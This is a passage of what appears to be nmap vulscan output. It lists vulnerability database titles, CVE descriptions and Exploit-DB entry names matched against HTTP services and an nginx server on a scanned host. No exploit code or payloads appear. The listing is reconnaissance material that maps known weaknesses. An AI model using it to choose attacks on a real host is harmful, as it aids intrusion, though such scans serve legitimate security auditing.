22322| [1012528] Ethereal DICOM, HTTP, and SMB Dissector Bugs Let Remote Users Execute Arbitrary Code
22323| [1012365] JanaServer 2 http-server and pna-proxy Flaws Let Remote Users Deny Service
22324| [1012200] phpWebSite Input Validation Flaws Let Remote Users Conduct HTTP Response Splitting Attacks
22325| [1012168] WebCalendar Grants Administrative Access and Permits Cross-Site Scripting and HTTP Response Splitting Attacks
22326| [1012043] yChat HTTP Errors Let Remote Users Deny Service
22327| [1011864] Serendipity Input Validation Flaws in Processing Request URI and HTTP Referer Field May Permit HTTP Response Splitting Attacks
22328| [1011481] DCP-Portal Input Validation Errors Let Remote Users Conduct Cross-Site Scripting and HTTP Response Splitting Attacks
22329| [1011439] Icecast Buffer Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
22330| [1011427] MyServer Can Be Crashed By Remote Users With a Specially Crafted HTTP POST Request
22331| [1011235] Pingtel xpressa Boundary Error in HTTP Management Interface Lets Remote Authenticated Users Crash the Phone
22332| [1011135] Comersus Shopping Cart 'redirecturl' Input Validation Flaw Permits HTTP Response Splitting Attacks
22333| [1011046] icecast Input Validation Error in HTTP UserAgent Field Permits Cross-Site Scripting Attacks
22334| [1010949] Kerio MailServer Bugs in Embedded HTTP Server Have Unspecified Impact
22335| [1010850] thttpd Input Validation Error Discloses Files to Remote Users
22336| [1010837] MailEnable Professional HTTPMail Bug Lets Remote Users Deny Service
22337| [1010797] IBM WebSphere Can Be Crashed By Remote Users Sending Large HTTP Headers
22338| [1010751] Xitami Web Server Can Be Crashed By Remote Users Sending Invalid HTTP Headers
22339| [1010613] Pavuk Buffer Overflow in Processing HTTP Location Headers Lets Remote Web Servers Execute Arbitrary Code on the Target System
22340| [1010599] Apache httpd Header Line Memory Allocation Lets Remote Users Crash the Server
22341| [1010291] MiniShare Can Be Crashed By Remote Users With Incomplete HTTP Requests
22342| [1010289] Orenosv HTTP/FTP Server Can Be Crashed By Remote Users
22343| [1010255] CBTT Can Be Crashed By Remote Users Sending Specially Crafted HTTP Basic Authentication Headers
22344| [1010254] BNBT Can Be Crashed By Remote Users Sending Specially Crafted HTTP Basic Authentication Headers
22345| [1010203] OmniHTTPd Buffer Overflow in HTTP GET Range Header May Let Remote Users Execute Arbitrary Code
22346| [1010171] NetChat Buffer Overflow in HTTP Service Lets Remote Users Execute Arbitrary Code
22347| [1010107] MailEnable Buffer Overflow in HTTPMail Lets Remote Users Execute Arbitrary Code
22348| [1009945] IBM HTTP Server Can Be Crashed By Remote Users Sending Specially Crafted SSL Packets
22349| [1009762] Microsoft Windows COM Internet Services and RPC over HTTP Can Be Crashed By Remote Users
22350| [1009597] MPlayer Buffer Overflow in Parsing HTTP Location Header Lets Remote Servers Execute Arbitrary Code
22351| [1009548] Kerio WinRoute Firewall May Crash Due to Malformed HTTP Headers
22352| [1009528] FirstClass HTTP Server Input Validation Flaw in 'Upload.shtml' Permits Cross-Site Scripting Attacks
22353| [1009433] Phorum HTTP_REFERER and Other Input Validation Flaw Permits Cross-Site Scripting Attacks
22354| [1009411] HP HTTP Server Certificates Can Be Uploaded By Remote Users to Gain Access to Managed Hosts
22355| [1009088] Sami HTTP Server Buffer Overflow Lets Remote Users Crash the Web Server
22356| [1009023] Monkey Web Server Can Be Crashed By HTTP GET Requests With No Host Value
22357| [1008998] httpdpalm Lets Remote Users Crash the System
22358| [1008997] Jim Rees PalmOS httpd Can Be Crashed By Remote Users
22359| [1008947] Check Point FireWall-1 Format String Flaw in HTTP Component Lets Remote Users Execute Arbitrary Code
22360| [1008866] WebLogic Server and Express Input Validation Flaw in Processing HTTP TRACE Requests Permits Cross-Site Scripting
22361| [1008842] Reptile Web Server HTTP Request Flaw Lets Remote Users Deny Service
22362| [1008838] Oracle HTTP Server 'isqlplus' Input Validation Flaws Let Remote Users Conduct Cross-Site Scripting Attacks
22363| [1008826] GeoVision GeoHttpServer Authentication Bypass Grants Access to Remote Users
22364| [1008822] Apache mod_perl File Descriptor Leak May Let Local Users Hijack the http and https Services
22365| [1008820] Mephistoles httpd Input Validation Flaw Permits Cross-Site Scripting Attacks
22366| [1008807] GeoHttpServer Can Be Crashed By a Remote User Sending a Long Password
22367| [1008563] Microsoft IIS Fails to Log HTTP TRACK Requests
22368| [1008559] Apache mod_php File Descriptor Leak May Let Local Users Hijack the https Service
22369| [1008554] Microsoft IE for Mac May Disclose Sensitive Information in Secure URLs to Remote Sites via HTTP Referer Field
22370| [1008549] Surfboard httpd Buffer Overflow May Allow a Remote User to Execute Arbitrary Code
22371| [1008463] LFTP Buffer Overflow in Processing HTTP Responses May Allow Remote Code Execution
22372| [1008342] Surfboard httpd Input Validation Flaw Lets Remote Users View Arbitrary Files on the System
22373| [1008265] Xitami Web Server Bug in Processing Certain HTTP POST Headers Lets Remote Users Deny Service
22374| [1008075] IA WebMail Server Buffer Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
22375| [1008036] tc.SimpleWebServer Buffer Overflow in Processing the HTTP Referer Lets Remote Users Execute Arbitrary Code
22376| [1008031] thttpd 'Host' Header Directory Traversal Flaw May Disclose Files to Remote Users
22377| [1008015] sh-httpd Discloses Files to Remote Users
22378| [1008007] thttpd defang() Buffer Overflow Lets Remote Users Execute Arbitrary Code
22379| [1007899] FirstClass HTTP Daemon Can Be Crashed By Remote Users
22380| [1007802] Null httpd Can Be Crashed By Remote Users Sending Incomplete HTTP POST Requests
22381| [1007797] TclHttpd 'dirlist.tcl' Discloses Directory Contents to Remote Users and Permits Remote Cross-Site Scripting Attacks
22382| [1007774] Xitami Web Server Can Be Crashed By Remote Users Sending Large HTTP GET Request Headers
22383| [1007712] Nokia Electronic Documentation Default Configuration Permits Remote HTTP Proxy Services
22384| [1007708] Minihttp File Sharing for net Password Parsing Flaw Grants Admin Privileges to Remote Users
22385| [1007707] Minihttp Forum Web Server Password Parsing Flaw Grants Admin Privileges to Remote Users
22386| [1007470] Lil' HTTP Server Discloses Web Server Passwords to Local Users
22387| [1007452] Xitami Web Server Fails to Log Non-HTTP Connections
22388| [1007383] Minihttp Forum Web Server Default Configuration Leaves Administrator Account Without a Password
22389| [1007364] IISShield May Fail to Drop a Specific Malformed HTTP Request
22390| [1007342] Cisco IOS Web Interface Buffer Overflow Lets Remote Users Send 2GB HTTP GET Requests to Execute Arbitrary Code
22391| [1007340] Small HTTP Server Discloses Administrator Password to Local Users
22392| [1007230] Apache HTTP Server 'rotatelogs' Bug on Win32 and OS/2 May Cause the Logging to Stop
22393| [1007215] OmniHTTPd Web Server Has Input Validation Holes in Additional Sample Scripts That Let Remote Users Conduct Cross-Site Scripting Attacks
22394| [1007159] Mabry HTTPServer/X Discloses Files on the System to Remote Users
22395| [1007146] Apache HTTP Server FTP Proxy Bug May Cause Denial of Service Conditions
22396| [1007058] NetScreen HTTP, Telnet, and FTP Authentication Feature Can Be Bypassed in Certain Cases
22397| [1007007] Microsoft Internet Explorer Custom HTTP Error Pages May Let Remote Users Execute Scripts in the Local Computer Zone
22398| [1006992] myServer Web Server HTTP Parsing Flaw Lets Remote Users Crash the Web Service
22399| [1006945] Novell HTTPSTK Can Be Crashed By Remote Users
22400| [1006852] BRS WebWeaver HTTP Buffer Overflows Let Remote Users Crash the Web Service
22401| [1006836] CUPS Internet Printing Protocol HTTP Header Processing Flaw Lets Remote Users Deny Service
22402| [1006833] EServ Can Be Used as HTTP and FTP Proxy Even When Not Configured as a Proxy
22403| [1006750] 3Com OfficeConnect DSL Router Memory Leak May Disclose Previous HTTP Request Data
22404| [1006666] SonicWALL Pro Can Be Crashed By Remote Users Due to Bug in Processing Large HTTP POST Requests
22405| [1006665] Pi3Web Server Can Be Crashed By Remote Users Sending Malformed HTTP GET Requests
22406| [1006616] AN HTTPD Web Server Sample Script ('count.pl') Lets Remote Users Create or Overwrite Files on the System.
22407| [1006546] CC Log Input Validation Hole in HTTP Header Fields Lets Remote Users Conduct Cross-Site Scripting Attacks
22408| [1006489] Abyss Web Server HTTP Header Validation Flaw Lets Remote Users Crash the Web Server
22409| [1005889] HTTP Fetcher Buffer Overflows May Let Remote Servers Execute Arbitrary Code
22410| [1005886] AN HTTPD Web Server Discloses Installation Path to Remote Users
22411| [1005730] Webster HTTP Server Multiple Bugs Let Remote Users Execute Arbitrary Code and View Files on the System
22412| [1005645] Zeroo HTTP Server Buffer Overflow Lets Remote Users Execute Arbitrary Code on the Server
22413| [1005624] LibHTTPd Buffer Overflow Lets Remote Users Execute Arbitrary Code
22414| [1005600] Light HTTPd (lhttpd) Buffer Overflow Lets Remote Users Execute Arbitrary Code to Gain Shell Access on the System
22415| [1005599] eZ httpbench Tool Discloses Files on the System to Remote Users
22416| [1005598] Tiny HTTPd Input Validation Bug Discloses Files on the Server to Remote Users and Also Lets Users Execute Commands
22417| [1005490] AN HTTPD Web Server Lets Remote Users Conduct Cross-Site Scripting Attacks
22418| [1005457] AN HTTPD Buffer Overflow in Processing SOCKS4 Requests Allows Remote Code Execution
22419| [1005417] Web Server 4 Everyone Can Be Crashed By Remote Users Sending Long HTTP GET Requests
22420| [1005350] IBM HTTP Server (IHS) Input Validation Bug Lets Remote Users Conduct Cross-Site Scripting Attacks
22421| [1005301] WASD HTTP Server for OpenVMS Has Multiple Flaws That Disclose Information and Let Remote Users Gain SYSTEM Access
22422| [1005297] acWEB HTTP Server Bugs Let Remote Users Crash the System and Permit Cross-Site Scripting Attacks
22423| [1005293] Monkey HTTP Daemon Discloses Files on the System to Remote Users
22424| [1005272] Null httpd Web Server Heap Overflow Lets Remote Users Execute Arbitrary Code With Root Privileges
22425| [1005259] IBM WebSphere Can Be Crashed By Remote Users Sending Large HTTP Headers
22426| [1005253] Check Point FireWall-1 HTTP Proxy Default Configuration May Allow HTTPS and FTP Traffic to Pass Through the Proxy
22427| [1005247] TrendMicro InterScan VirusWall Scanner Can Be Bypassed With HTTP Chunked Transfer Encoded Packets
22428| [1005167] NullLogic's Null httpd Web Server Input Validation Bug Lets Remote Users Conduct Cross-site Scripting Attacks
22429| [1005137] OmniHTTPd Web Server Input Validation Holes in Sample Applications Let Remote Users Conduct Cross-Site Scripting Attacks
22430| [1005026] CERN HTTP Proxy Server Input Validation Hole Lets Remote Users Conduct Cross-site Scripting Attacks
22431| [1004957] Jana Web Server Buffer Overflow in Processing HTTP Commands May Let Remote Users Execute Arbitrary Code on the System
22432| [1004867] Lucent Access Point Routers Can Be Crashed By Remote Users Sending a Large HTTP GET Request to the Web Management Interface
22433| [1004780] Norton Personal Firewall Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
22434| [1004779] Norton Internet Security Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
22435| [1004759] ATPhttpd Web Server Buffer Overflows Let Remote Users Execute Arbitrary Code on the Server
22436| [1004751] Lil' HTTP Server 'pbcgi.cgi' Script Input Validation Flaw Allows Remote Users to Conduct Cross-site Scripting Attacks Against Web Server Users
22437| [1004672] OmniHTTPd Web Server Bug in Processing Long HTTP Protocol Parameters Allows Remote Users to Crash the Web Service
22438| [1004581] 4D Web Server Buffer Overflow in Processing Long HTTP Requests May Let Remote Users Execute Arbitrary Code or Crash the Service
22439| [1004211] 4D Web Server Buffer Overflow in Processing Basic HTTP Authentication Lets Remote Users Crash the Server and May Allow Arbitrary Code to Be Executed
22440| [1004187] Mozilla Browser XMLHTTP Redirect Bug Lets Remote Users View Files on a User's Computer
22441| [1004186] Netscape Browser XMLHTTP Redirect Bug Lets Remote Users View Files on a User's Computer
22442| [1004123] Lil' HTTP Server Discloses Files Located Outside of the Web Document Directory to Remote Users and Allows Remote Users to Conduct Cross-site Scripting Attacks Against Administrators
22443| [1004014] Microsoft Internet Information Server ASP HTTP Header Processing Buffer Overflow Lets Remote Users Execute Arbitrary Code on the Server
22444| [1003875] HP Webproxy for HP-UX VVOS Operating System May Forward Certain HTTP Requests to the Internal Network Without Fully Processing the Packet Against the Rule Set
22445| [1003743] Thttpd Web Server Filtering Flaw Lets Remote Users Steal Cookies Via Cross-Site Scripting Attacks
22446| [1003613] Lil' HTTP Server Discloses Files in Password Protected Directories on the Web Server to Remote Users
22447| [1003600] Check Point FireWall-1 HTTP Proxy Bug Lets Remote Users Bypass Some Access Controls and Connect to Arbitrary Ports on Internal/Protected Hosts
22448| [1003598] ScriptEase Mini WebServer Can Be Crashed By Remote Users Sending Long HTTP Requests
22449| [1003584] Dino's WebServer Can Be Crashed By Remote Users Sending Multiple Long HTTP GET Requests
22450| [1003466] Opera Web Browser Allows Cross-site Scripting Attacks Via Non-HTTP Servers
22451| [1003462] Microsoft Internet Explorer Web Browser Allows Cross-site Scripting Attacks Via Non-HTTP Servers
22452| [1003411] NETGEAR Router Web Content Filtering Mechanism Can Be Bypassed By Remote Users With Certain Malformed HTTP GET Requests
22453| [1003210] Pi3Web HTTP Server Can Be Crashed By Remote Users Sending Long CGI Parameters
22454| [1003170] Cisco SN 5420 Storage Router Bugs Disclose the Router Configuration to Remote Users and Allow Remote Users to Crash the Router With Large HTTP Headers or Fragmented Packets
22455| [1003103] Anti-Web HTTPD (awhttpd) Web Server Can Be Crashed By Local Users
22456| [1002988] Tivoli SecureWay Policy Director WebSEAL Server Can Be Crashed By Remote Users Appending '%2e' to HTTP Requests
22457| [1002970] ATPhttpd Web Server Can Be Crashed By Remote Users Sending Long URLs
22458| [1002957] Microsoft Internet Information Server Can Be Crashed By Remote Users With HTTP Requests Containing Invalid Content-Length Values
22459| [1002818] Oracle9iAS Web Cache Can Be Crashed By Remote Users Sending Malformed HTTP Content Length Header
22460| [1002783] Thttpd Web Server Has a One Byte Buffer Overflow That Allows Remote Users to Execute Arbitrary Code
22461| [1002743] mini_httpd Web Server Discloses Password-Protected and Non-Readable Files to Remote Users
22462| [1002742] thttpd Web Server Discloses Password-Protected and Non-Readable Files to Remote Users in Certain Configurations
22463| [1002712] IBM AS/400 HTTP Server Discloses Source Code of Java Server Pages to Remote Users
22464| [1002600] Mozilla Browser Will Return HTTP Cookies to an FTP Server at the Same Domain as the HTTP Server, Which Could Be a Different Domain if the HTTP Server is Hosting Virtual Domains
22465| [1002526] Microsoft Internet Explorer (IE) Web Browser Has Multiple URL-related Flaws That May Allow for Remote Code Execution, Remote HTTP Request Generation, and Application of Incorrect Security Restrictions
22466| [1002267] AOLserver Can Be Crashed By Remote Users With a Long HTTP Authentication String And May Execute Arbitrary Code
22467| [1002050] OmniSecure's HTTProtect Temporary File Flaw May Let Local Users Overwrite Files
22468| [1002034] Caldera Docview Documentation Web Server Lets Local Users Gain Httpd User Account Privileges
22469| [1001905] Small HTTP Server Can Be Crashed By Remote Users
22470| [1001893] Another Buffer Overflow in GazTek ghttpd Web Server Lets Remote Users Execute Arbitrary Code on the Server
22471| [1001854] Cisco IOS Gives Remote Users Full Control of IOS Devices When HTTP Server Authentication with Local Authorization is Enabled
22472| [1001772] GazTek ghttpd Web Server Executes Arbitrary Code Supplied By Remote Users
22473| [1001618] OmniHTTP Web Server Allows Remote Users to Obtain Source Code of PHP Scripts and to Cause the Server to Consume All CPU Cycles
22474| [1001555] OmniHTTPd Pro Web Server Can Be Crashed By Remote Users
22475| [1001427] Small HTTP Server Can Be Crashed By Remote Users
22476| [1001248] Savant Web Server Can Be Crashed Remotely With Certain HTTP Requests
22477| [1001153] Symantec (Axent) Raptor Firewall May Allow Unauthorized Access Through the Firewall Using the HTTP Protocol
22478| [1000992] WhitSoft's SlimServe HTTPd Web Server Gives Users Remote Access to Files Outside of the Server's Main Directory
22479|
22480| OSVDB - http://www.osvdb.org:
22481| [90560] Varnish HTTP Accelerator Integration Module for Drupal Configuration Settings XSS
22482| [90917] Varnish cache_vary.c Multiple Function HTTP Vary Header Handling Remote DoS
22483| [88581] Squid Web Proxy HTTP Accelerator Mode Proxied Port Scan Weakness
22484| [61778] Varnish HTTP Request Escape Sequence Terminal Command Injection
22485| [51841] Varnish Malformed HTTP Request Remote DoS
22486| [5476] Squid HTTP Accelerator Mode ACL Bypass
22487|_
22488443/tcp open ssl/http nginx
22489| vulscan: VulDB - https://vuldb.com:
22490| [133852] Sangfor Sundray WLAN Controller up to 3.7.4.2 Cookie Header nginx_webconsole.php Code Execution
22491| [132132] SoftNAS Cloud 4.2.0/4.2.1 Nginx privilege escalation
22492| [131858] Puppet Discovery up to 1.3.x Nginx Container weak authentication
22493| [130644] Nginx Unit up to 1.7.0 Router Process Request Heap-based memory corruption
22494| [127759] VeryNginx 0.3.3 Web Application Firewall privilege escalation
22495| [126525] nginx up to 1.14.0/1.15.5 ngx_http_mp4_module Loop denial of service
22496| [126524] nginx up to 1.14.0/1.15.5 HTTP2 CPU Exhaustion denial of service
22497| [126523] nginx up to 1.14.0/1.15.5 HTTP2 Memory Consumption denial of service
22498| [119845] Pivotal Operations Manager up to 2.0.13/2.1.5 Nginx privilege escalation
22499| [114368] SuSE Portus 2.3 Nginx Certificate weak authentication
22500| [103517] nginx up to 1.13.2 Range Filter Request Integer Overflow memory corruption
22501| [89849] nginx RFC 3875 Namespace Conflict Environment Variable Open Redirect
22502| [87719] nginx up to 1.11.0 ngx_files.c ngx_chain_to_iovec denial of service
22503| [80760] nginx 0.6.18/1.9.9 DNS CNAME Record Crash denial of service
22504| [80759] nginx 0.6.18/1.9.9 DNS CNAME Record Use-After-Free denial of service
22505| [80758] nginx 0.6.18/1.9.9 DNS UDP Packet Crash denial of service
22506| [67677] nginx up to 1.7.3 SSL weak authentication
22507| [67296] nginx up to 1.7.3 SMTP Proxy ngx_mail_smtp_starttls privilege escalation
22508| [12822] nginx up to 1.5.11 SPDY SPDY Request Heap-based memory corruption
22509| [12824] nginx 1.5.10 on 32-bit SPDY memory corruption
22510| [11237] nginx up to 1.5.6 URI String Bypass privilege escalation
22511| [65364] nginx up to 1.1.13 Default Configuration information disclosure
22512| [8671] nginx up to 1.4 proxy_pass denial of service
22513| [8618] nginx 1.3.9/1.4.0 http/ngx_http_parse.c ngx_http_parse_chunked() memory corruption
22514| [7247] nginx 1.2.6 Proxy Function spoofing
22515| [61434] nginx 1.2.0/1.3.0 on Windows Access Restriction privilege escalation
22516| [5293] nginx up to 1.1.18 ngx_http_mp4_module MP4 File memory corruption
22517| [4843] nginx up to 1.0.13/1.1.16 HTTP Header Response Parser ngx_http_parse.c information disclosure
22518| [59645] nginx up to 0.8.9 Heap-based memory corruption
22519| [53592] nginx 0.8.36 memory corruption
22520| [53590] nginx up to 0.8.9 unknown vulnerability
22521| [51533] nginx 0.7.64 Terminal privilege escalation
22522| [50905] nginx up to 0.8.9 directory traversal
22523| [50903] nginx up to 0.8.10 NULL Pointer Dereference denial of service
22524| [50043] nginx up to 0.8.10 memory corruption
22525|
22526| MITRE CVE - https://cve.mitre.org:
22527| [CVE-2013-2070] http/modules/ngx_http_proxy_module.c in nginx 1.1.4 through 1.2.8 and 1.3.0 through 1.4.0, when proxy_pass is used with untrusted HTTP servers, allows remote attackers to cause a denial of service (crash) and obtain sensitive information from worker process memory via a crafted proxy response, a similar vulnerability to CVE-2013-2028.
22528| [CVE-2013-2028] The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.
22529| [CVE-2012-3380] Directory traversal vulnerability in naxsi-ui/nx_extract.py in the Naxsi module before 0.46-1 for Nginx allows local users to read arbitrary files via unspecified vectors.
22530| [CVE-2012-2089] Buffer overflow in ngx_http_mp4_module.c in the ngx_http_mp4_module module in nginx 1.0.7 through 1.0.14 and 1.1.3 through 1.1.18, when the mp4 directive is used, allows remote attackers to cause a denial of service (memory overwrite) or possibly execute arbitrary code via a crafted MP4 file.
22531| [CVE-2012-1180] Use-after-free vulnerability in nginx before 1.0.14 and 1.1.x before 1.1.17 allows remote HTTP servers to obtain sensitive information from process memory via a crafted backend response, in conjunction with a client request.
22532| [CVE-2011-4963] nginx/Windows 1.3.x before 1.3.1 and 1.2.x before 1.2.1 allows remote attackers to bypass intended access restrictions and access restricted files via (1) a trailing . (dot) or (2) certain "$index_allocation" sequences in a request.
22533| [CVE-2011-4315] Heap-based buffer overflow in compression-pointer processing in core/ngx_resolver.c in nginx before 1.0.10 allows remote resolvers to cause a denial of service (daemon crash) or possibly have unspecified other impact via a long response.
22534| [CVE-2010-2266] nginx 0.8.36 allows remote attackers to cause a denial of service (crash) via certain encoded directory traversal sequences that trigger memory corruption, as demonstrated using the "%c0.%c0." sequence.
22535| [CVE-2010-2263] nginx 0.8 before 0.8.40 and 0.7 before 0.7.66, when running on Windows, allows remote attackers to obtain source code or unparsed content of arbitrary files under the web document root by appending ::$DATA to the URI.
22536| [CVE-2009-4487] nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
22537| [CVE-2009-3898] Directory traversal vulnerability in src/http/modules/ngx_http_dav_module.c in nginx (aka Engine X) before 0.7.63, and 0.8.x before 0.8.17, allows remote authenticated users to create or overwrite arbitrary files via a .. (dot dot) in the Destination HTTP header for the WebDAV (1) COPY or (2) MOVE method.
22538| [CVE-2009-3896] src/http/ngx_http_parse.c in nginx (aka Engine X) 0.1.0 through 0.4.14, 0.5.x before 0.5.38, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.14 allows remote attackers to cause a denial of service (NULL pointer dereference and worker process crash) via a long URI.
22539| [CVE-2009-2629] Buffer underflow in src/http/ngx_http_parse.c in nginx 0.1.0 through 0.5.37, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.15 allows remote attackers to execute arbitrary code via crafted HTTP requests.
22540|
22541| SecurityFocus - https://www.securityfocus.com/bid/:
22542| [99534] Nginx CVE-2017-7529 Remote Integer Overflow Vulnerability
22543| [93903] Nginx CVE-2016-1247 Remote Privilege Escalation Vulnerability
22544| [91819] Nginx CVE-2016-1000105 Security Bypass Vulnerability
22545| [90967] nginx CVE-2016-4450 Denial of Service Vulnerability
22546| [82230] nginx Multiple Denial of Service Vulnerabilities
22547| [78928] Nginx CVE-2010-2266 Denial-Of-Service Vulnerability
22548| [70025] nginx CVE-2014-3616 SSL Session Fixation Vulnerability
22549| [69111] nginx SMTP Proxy Remote Command Injection Vulnerability
22550| [67507] nginx SPDY Implementation CVE-2014-0088 Arbitrary Code Execution Vulnerability
22551| [66537] nginx SPDY Implementation Heap Based Buffer Overflow Vulnerability
22552| [63814] nginx CVE-2013-4547 URI Processing Security Bypass Vulnerability
22553| [59824] Nginx CVE-2013-2070 Remote Security Vulnerability
22554| [59699] nginx 'ngx_http_parse.c' Stack Buffer Overflow Vulnerability
22555| [59496] nginx 'ngx_http_close_connection()' Remote Integer Overflow Vulnerability
22556| [59323] nginx NULL-Byte Arbitrary Code Execution Vulnerability
22557| [58105] Nginx 'access.log' Insecure File Permissions Vulnerability
22558| [57139] nginx CVE-2011-4968 Man in The Middle Vulnerability
22559| [55920] nginx CVE-2011-4963 Security Bypass Vulnerability
22560| [54331] Nginx Naxsi Module 'nx_extract.py' Script Remote File Disclosure Vulnerability
22561| [52999] nginx 'ngx_http_mp4_module.c' Buffer Overflow Vulnerability
22562| [52578] nginx 'ngx_cpystrn()' Information Disclosure Vulnerability
22563| [50710] nginx DNS Resolver Remote Heap Buffer Overflow Vulnerability
22564| [40760] nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
22565| [40434] nginx Space String Remote Source Code Disclosure Vulnerability
22566| [40420] nginx Directory Traversal Vulnerability
22567| [37711] nginx Terminal Escape Sequence in Logs Command Injection Vulnerability
22568| [36839] nginx 'ngx_http_process_request_headers()' Remote Buffer Overflow Vulnerability
22569| [36490] nginx WebDAV Multiple Directory Traversal Vulnerabilities
22570| [36438] nginx Proxy DNS Cache Domain Spoofing Vulnerability
22571| [36384] nginx HTTP Request Remote Buffer Overflow Vulnerability
22572|
22573| IBM X-Force - https://exchange.xforce.ibmcloud.com:
22574| [84623] Phusion Passenger gem for Ruby with nginx configuration insecure permissions
22575| [84172] nginx denial of service
22576| [84048] nginx buffer overflow
22577| [83923] nginx ngx_http_close_connection() integer overflow
22578| [83688] nginx null byte code execution
22579| [83103] Naxsi module for Nginx naxsi_unescape_uri() function security bypass
22580| [82319] nginx access.log information disclosure
22581| [80952] nginx SSL spoofing
22582| [77244] nginx and Microsoft Windows request security bypass
22583| [76778] Naxsi module for Nginx nx_extract.py directory traversal
22584| [74831] nginx ngx_http_mp4_module.c buffer overflow
22585| [74191] nginx ngx_cpystrn() information disclosure
22586| [74045] nginx header response information disclosure
22587| [71355] nginx ngx_resolver_copy() buffer overflow
22588| [59370] nginx characters denial of service
22589| [59369] nginx DATA source code disclosure
22590| [59047] nginx space source code disclosure
22591| [58966] nginx unspecified directory traversal
22592| [54025] nginx ngx_http_parse.c denial of service
22593| [53431] nginx WebDAV component directory traversal
22594| [53328] Nginx CRC-32 cached domain name spoofing
22595| [53250] Nginx ngx_http_parse_complex_uri() function code execution
22596|
22597| Exploit-DB - https://www.exploit-db.com:
22598| [26737] nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit
22599| [25775] Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow
22600| [25499] nginx 1.3.9-1.4.0 DoS PoC
22601| [24967] nginx 0.6.x Arbitrary Code Execution NullByte Injection
22602| [14830] nginx 0.6.38 - Heap Corruption Exploit
22603| [13822] Nginx <= 0.7.65 / 0.8.39 (dev) Source Disclosure / Download Vulnerability
22604| [13818] Nginx 0.8.36 Source Disclosure and DoS Vulnerabilities
22605| [12804] nginx [engine x] http server <= 0.6.36 Path Draversal
22606| [9901] nginx 0.7.0-0.7.61, 0.6.0-0.6.38, 0.5.0-0.5.37, 0.4.0-0.4.14 PoC
22607| [9829] nginx 0.7.61 WebDAV directory traversal
22608|
22609| OpenVAS (Nessus) - http://www.openvas.org:
22610| [864418] Fedora Update for nginx FEDORA-2012-3846
22611| [864310] Fedora Update for nginx FEDORA-2012-6238
22612| [864209] Fedora Update for nginx FEDORA-2012-6411
22613| [864204] Fedora Update for nginx FEDORA-2012-6371
22614| [864121] Fedora Update for nginx FEDORA-2012-4006
22615| [864115] Fedora Update for nginx FEDORA-2012-3991
22616| [864065] Fedora Update for nginx FEDORA-2011-16075
22617| [863654] Fedora Update for nginx FEDORA-2011-16110
22618| [861232] Fedora Update for nginx FEDORA-2007-1158
22619| [850180] SuSE Update for nginx openSUSE-SU-2012:0237-1 (nginx)
22620| [831680] Mandriva Update for nginx MDVSA-2012:043 (nginx)
22621| [802045] 64-bit Debian Linux Rootkit with nginx Doing iFrame Injection
22622| [801636] nginx HTTP Request Remote Buffer Overflow Vulnerability
22623| [103470] nginx 'ngx_http_mp4_module.c' Buffer Overflow Vulnerability
22624| [103469] nginx 'ngx_cpystrn()' Information Disclosure Vulnerability
22625| [103344] nginx DNS Resolver Remote Heap Buffer Overflow Vulnerability
22626| [100676] nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
22627| [100659] nginx Directory Traversal Vulnerability
22628| [100658] nginx Space String Remote Source Code Disclosure Vulnerability
22629| [100441] nginx Terminal Escape Sequence in Logs Command Injection Vulnerability
22630| [100321] nginx 'ngx_http_process_request_headers()' Remote Buffer Overflow Vulnerability
22631| [100277] nginx Proxy DNS Cache Domain Spoofing Vulnerability
22632| [100276] nginx HTTP Request Remote Buffer Overflow Vulnerability
22633| [100275] nginx WebDAV Multiple Directory Traversal Vulnerabilities
22634| [71574] Gentoo Security Advisory GLSA 201206-07 (nginx)
22635| [71308] Gentoo Security Advisory GLSA 201203-22 (nginx)
22636| [71297] FreeBSD Ports: nginx
22637| [71276] FreeBSD Ports: nginx
22638| [71239] Debian Security Advisory DSA 2434-1 (nginx)
22639| [66451] Fedora Core 11 FEDORA-2009-12782 (nginx)
22640| [66450] Fedora Core 10 FEDORA-2009-12775 (nginx)
22641| [66449] Fedora Core 12 FEDORA-2009-12750 (nginx)
22642| [64924] Gentoo Security Advisory GLSA 200909-18 (nginx)
22643| [64912] Fedora Core 10 FEDORA-2009-9652 (nginx)
22644| [64911] Fedora Core 11 FEDORA-2009-9630 (nginx)
22645| [64894] FreeBSD Ports: nginx
22646| [64869] Debian Security Advisory DSA 1884-1 (nginx)
22647|
22648| SecurityTracker - https://www.securitytracker.com:
22649| [1028544] nginx Bug Lets Remote Users Deny Service or Obtain Potentially Sensitive Information
22650| [1028519] nginx Stack Overflow Lets Remote Users Execute Arbitrary Code
22651| [1026924] nginx Buffer Overflow in ngx_http_mp4_module Lets Remote Users Execute Arbitrary Code
22652| [1026827] nginx HTTP Response Processing Lets Remote Users Obtain Portions of Memory Contents
22653|
22654| OSVDB - http://www.osvdb.org:
22655| [94864] cPnginx Plugin for cPanel nginx Configuration Manipulation Arbitrary File Access
22656| [93282] nginx proxy_pass Crafted Upstream Proxied Server Response Handling Worker Process Memory Disclosure
22657| [93037] nginx /http/ngx_http_parse.c Worker Process Crafted Request Handling Remote Overflow
22658| [92796] nginx ngx_http_close_connection Function Crafted r->
22659| [92634] nginx ngx_http_request.h zero_in_uri URL Null Byte Handling Remote Code Execution
22660| [90518] nginx Log Directory Permission Weakness Local Information Disclosure
22661| [88910] nginx Proxy Functionality SSL Certificate Validation MitM Spoofing Weakness
22662| [84339] nginx/Windows Multiple Request Sequence Parsing Arbitrary File Access
22663| [83617] Naxsi Module for Nginx naxsi-ui/ nx_extract.py Traversal Arbitrary File Access
22664| [81339] nginx ngx_http_mp4_module Module Atom MP4 File Handling Remote Overflow
